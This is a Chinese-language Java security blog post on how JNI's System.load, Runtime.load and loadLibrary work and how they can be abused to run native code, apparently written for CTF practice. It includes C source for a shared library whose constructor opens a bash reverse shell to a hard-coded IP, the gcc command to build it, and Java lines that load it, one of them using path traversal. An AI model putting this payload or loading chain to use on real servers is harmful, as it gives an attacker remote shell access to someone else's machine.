JNI

javasec之jni的利用

JNI

JNI的定义

JNI(Java Native Interface),它允许Java虚拟机中运行的Java代码与其它编程语言(如C、C++和汇编语言)编写的应用程序和库进行调用处理操作。在如下几种情况可以使用:

  • 标准Java类库不支持应用程序所需的平台相关功能。
  • 已经使用另一种语言编写的库,可以通过JNI让Java代码访问来调用它
  • 想使用汇编等第语言实现一小部分关键代码

由此,我们可以通过加载动态链接库来进行利用。

JNI的利用

代码调试

不同的系统加载的动态链接库文件后缀是不同的,比如linux是.so文件,而windows是.dll文件,macos系统下就是.dylib文件等,这里主要是说明在linux下的利用。

关于jni的一些代码说明,如下文章已经说的非常清楚了: https://tttang.com/archive/1436/

简单调试分析一下即可,我们常利用的代码如下:

1
2
3
4
5
6
7
package org.example;

public class Text {
    public static void main(String[] args) throws Exception {
        System.load("/tmp/123.so");
    }
}

本质是调用的Runtime类的load0()方法:

image-20250808174054880

在java的注释中可以看到对这个System.load()方法有一些说明:

image-20250808174239079

所以这里动态加载的so库文件需要给出完整的路径。

跟进Runtime类的load0()方法:

image-20250808174338132

很容易看到这里其实在Runtime类中也存在一个load()方法可以调用到指定的load0()方法,所以其实也可以如下调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package org.example;

public class Text {
    public static void main(String[] args) throws Exception {
        System.load("/tmp/123.so");
        Runtime.getRuntime().load("/tmp/123.so");
//        System.out.println("Hello World!");
//        System.out.println(System.getProperty("java.library.path"));
    }
}

也就是通过Runtime来进行加载动态链接库,回到调试过程:

image-20250808182042990

先是判断是否为绝对路径,然后调用了loadLibrary()方法并在参数传递中将isAbsolute设置为了true:

image-20250808182246379

然后就会调用loadLibrary0()进行加载,然后这个方法对要加载的库进行了一些判断,可以直接从抛出的异常来看:

是否已经被加载:

image-20250808182510757

正在被加载:

image-20250808182527611

若无上述情况,最后就会调用NativeLibrary类的load()方法进行加载: image-20250808182621360

后续的NativeLibrary类的load()方法就比较底层了,不涉及。

——————————

同时其实还存在一个动态加载链接库的方法,但局限性比较高,主要是加载指定链接库路径(一般都是java.library.path指定路径)的库文件,就是System.loadLibrary()方法,主要和前面的load()对比一下,使用的代码如下:

1
2
3
4
5
6
7
8
9
package org.example;

public class Text {
    public static void main(String[] args) throws Exception {
        System.loadLibrary("123");
//        System.out.println("Hello World!");
//        System.out.println(System.getProperty("java.library.path"));
    }
}

简单调试一下过程:

image-20250808183517618

在注解中看到对应方法的说明:

image-20250808183908246

也就是说要求输入的libname参数只能为文件名,并且没有对应库文件后缀(123.so => 123)。

再看调试,同样的Runtime类的loadLibrary0()方法,并且Runtime类也有loadLibrary()方法来调用loadLibrary0()方法: image-20250808184446544

同样会调用ClassLoader.loadLibrary(),这次的关键代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (loader != null) {
            String libfilename = loader.findLibrary(name);
            if (libfilename != null) {
                File libfile = new File(libfilename);
                if (!libfile.isAbsolute()) {
                    throw new UnsatisfiedLinkError(
    "ClassLoader.findLibrary failed to return an absolute path: " + libfilename);
                }
                if (loadLibrary0(fromClass, libfile)) {
                    return;
                }
                throw new UnsatisfiedLinkError("Can't load " + libfilename);
            }
        }
        for (int i = 0 ; i < sys_paths.length ; i++) {
            File libfile = new File(sys_paths[i], System.mapLibraryName(name));
            if (loadLibrary0(fromClass, libfile)) {
                return;
            }
            libfile = ClassLoaderHelper.mapAlternativeName(libfile);
            if (libfile != null && loadLibrary0(fromClass, libfile)) {
                return;
            }
        }
        if (loader != null) {
            for (int i = 0 ; i < usr_paths.length ; i++) {
                File libfile = new File(usr_paths[i],
                                        System.mapLibraryName(name));
                if (loadLibrary0(fromClass, libfile)) {
                    return;
                }
                libfile = ClassLoaderHelper.mapAlternativeName(libfile);
                if (libfile != null && loadLibrary0(fromClass, libfile)) {
                    return;
                }
            }
        }
        // Oops, it failed
        throw new UnsatisfiedLinkError("no " + name + " in java.library.path");

可以看到就是在找文件,找到了的话就再调用loadLibrary0()方法进行加载,但是可以看出都是在指定路径下找,什么sys_path等,所以说灵活性是没有load()方法高的,并且可利用点也是相对较低的。

总结利用

说了这么多相关代码,我们在javasec中可以怎么利用,必不可少的是需要可以执行任意的java代码,这样才能调用System.load()方法,怎么存在这个so文件就是一个难题,简单想了一下,至少有如下两个点:

  • 文件上传点,上传一个编译好了的so文件
  • 写文件处,通过一些方法如反序列化等来写入so文件

等等,就待后续发掘了。

其次就是这个so文件该怎么写,前面说了可以加载c、c++等语言,这里一个常见的so文件生成过程(以linux环境为例):

Haha.c:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/47.100.223.173/2333 0>&1'");
}

这个__attribute__ ((__constructor__))也是了解过了的,就是可以让它修饰的函数在main()函数前执行,非常好用。

然后编译成so文件(linux环境下):

1
gcc -shared -fPIC haha.c -o haha.so

然后将这个so文件想方式弄服务器上就行了。

然后执行java代码来加载so文件即可,如下几种都行:

1
2
3
4
5
System.load("/tmp/123.so");

java.lang.Runtime.getRuntime().load("/tmp/123.so");

com.sun.glass.utils.NativeLibLoader.loadLibrary("../../../../../../tmp/123");

这里提到的NativeLibLoader有一定的局限性,先看怎么为什么可以利用,聚焦于NativeLibLoader.loadLibrary()方法,主要在其内部调用的loadLibraryInternal()=>loadLibraryFullPath()方法中:

image-20250808190747447

可以看到判断了操作系统来判断动态加载链接库的文件后缀,前面还判断了一下libDir,也就是本地库路径,但是这里是将传入的libraryName直接拼接进并且前面调用过程中没有什么检测,所以可以通过目录穿越来加载绝对路径的so文件,最后调用了System.load()方法加载。

非常符合利用过程,但是看有的文章说这个类并不是jdk通用的,我这里的jdk8u71和jdk8u411都是有的,到时候再看吧。

这个方法是非常好用的,多思考,以及更深层次的反射调用更底层的方法,主要融会贯通,同时在那些场景要想到可以使用这个方法。

————————

例题可以看第十届上海市大学生网络安全大赛的jaba_ez题。

关于jni的更多说明就参考官方说明:

https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/intro.html

参考文章:

https://tttang.com/archive/1436/

https://pankas.top/2024/03/09/%E6%B5%85%E6%9E%90java%E5%AE%89%E5%85%A8%E4%B8%ADjni%E7%9A%84%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计